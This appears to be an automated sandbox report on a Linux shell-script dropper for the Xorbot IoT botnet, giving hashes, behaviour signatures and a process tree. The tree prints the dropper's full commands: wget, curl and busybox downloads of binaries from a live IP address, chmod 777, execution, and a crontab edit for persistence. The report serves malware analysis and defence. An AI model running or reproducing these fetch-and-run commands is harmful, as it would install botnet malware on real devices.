Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01-12-2024 00:45

General

  • Target

    BNO1X_bins.sh

  • Size

    10KB

  • MD5

    29ec86d77f7675942f8a1012ba9709e4

  • SHA1

    062170abb27a237f8468cd5d69fd32f736fc96fe

  • SHA256

    b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a

  • SHA512

    e28daec2232ae26a0a3a74cee182927727360e36d90970457ae70679a88e74489ffd9532af8c5293b96b8e9999b5fec788508aa0ec69762a22bd7373068e7636

  • SSDEEP

    192:1Iackckcuc9cBUY/u/xXfgbckckcuc9cBwEnH/T:1Ia/nv0wFW/xXfgb/nv0wfH/T

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1923) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/BNO1X_bins.sh
    /tmp/BNO1X_bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          ./ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:731
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:733
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:734
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:735
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:736
              • /bin/rm
                rm ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
                2⤵
                  PID:738
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                  2⤵
                    PID:795
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                    2⤵
                      PID:830
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                      2⤵
                      • Writes file to tmp directory
                      PID:831
                    • /bin/chmod
                      chmod 777 f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                      2⤵
                      • File and Directory Permissions Modification
                      PID:832
                    • /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                      ./f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                      2⤵
                      • Executes dropped EXE
                      PID:833
                    • /bin/rm
                      rm f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
                      2⤵
                        PID:835
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                        2⤵
                          PID:836
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                          2⤵
                            PID:841
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                            2⤵
                            • Writes file to tmp directory
                            PID:846
                          • /bin/chmod
                            chmod 777 GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                            2⤵
                            • File and Directory Permissions Modification
                            PID:847
                          • /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                            ./GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                            2⤵
                            • Executes dropped EXE
                            PID:848
                          • /bin/rm
                            rm GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
                            2⤵
                              PID:851
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                              2⤵
                                PID:852
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                                2⤵
                                  PID:853
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:854
                                • /bin/chmod
                                  chmod 777 Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:859
                                • /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                                  ./Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                                  2⤵
                                  • Executes dropped EXE
                                  PID:860
                                • /bin/rm
                                  rm Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                                  2⤵
                                    PID:865
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                    2⤵
                                      PID:866
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                      2⤵
                                        PID:867
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:872
                                      • /bin/chmod
                                        chmod 777 IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:877
                                      • /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                        ./IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                        2⤵
                                        • Executes dropped EXE
                                        PID:878
                                      • /bin/rm
                                        rm IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                                        2⤵
                                          PID:879
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                          2⤵
                                            PID:880
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                            2⤵
                                              PID:881
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:882
                                            • /bin/chmod
                                              chmod 777 9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:887
                                            • /tmp/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                              ./9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                              2⤵
                                              • Executes dropped EXE
                                              PID:892
                                            • /bin/rm
                                              rm 9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                                              2⤵
                                                PID:895
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                                2⤵
                                                  PID:897
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                                  2⤵
                                                    PID:899

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt

                                                  Filesize

                                                  119KB

                                                  MD5

                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                  SHA1

                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                  SHA256

                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                  SHA512

                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                • /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj

                                                  Filesize

                                                  127KB

                                                  MD5

                                                  89077b7bd4bcafca7713be43635c4862

                                                  SHA1

                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                  SHA256

                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                  SHA512

                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                • /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                  SHA1

                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                  SHA256

                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                  SHA512

                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                • /var/spool/cron/crontabs/tmp.Od5zNb

                                                  Filesize

                                                  210B

                                                  MD5

                                                  afc86225ae1842924d78a0a62fa41509

                                                  SHA1

                                                  bad518aecd3ad5b6fb80188ddc83c652bbb96441

                                                  SHA256

                                                  9a40ff202eb6b1dec36cf5cb175fe2d9768d9d56c05cece4217b6d4ab7942751

                                                  SHA512

                                                  314cf6b27d2c4a83700a16ddcdffad4f30941534fa1f1227e79995107ebcfb08d1cfb249165180a2b8bfbfeed6ba03b3accbede74401ac202fb9226e8a01b0d2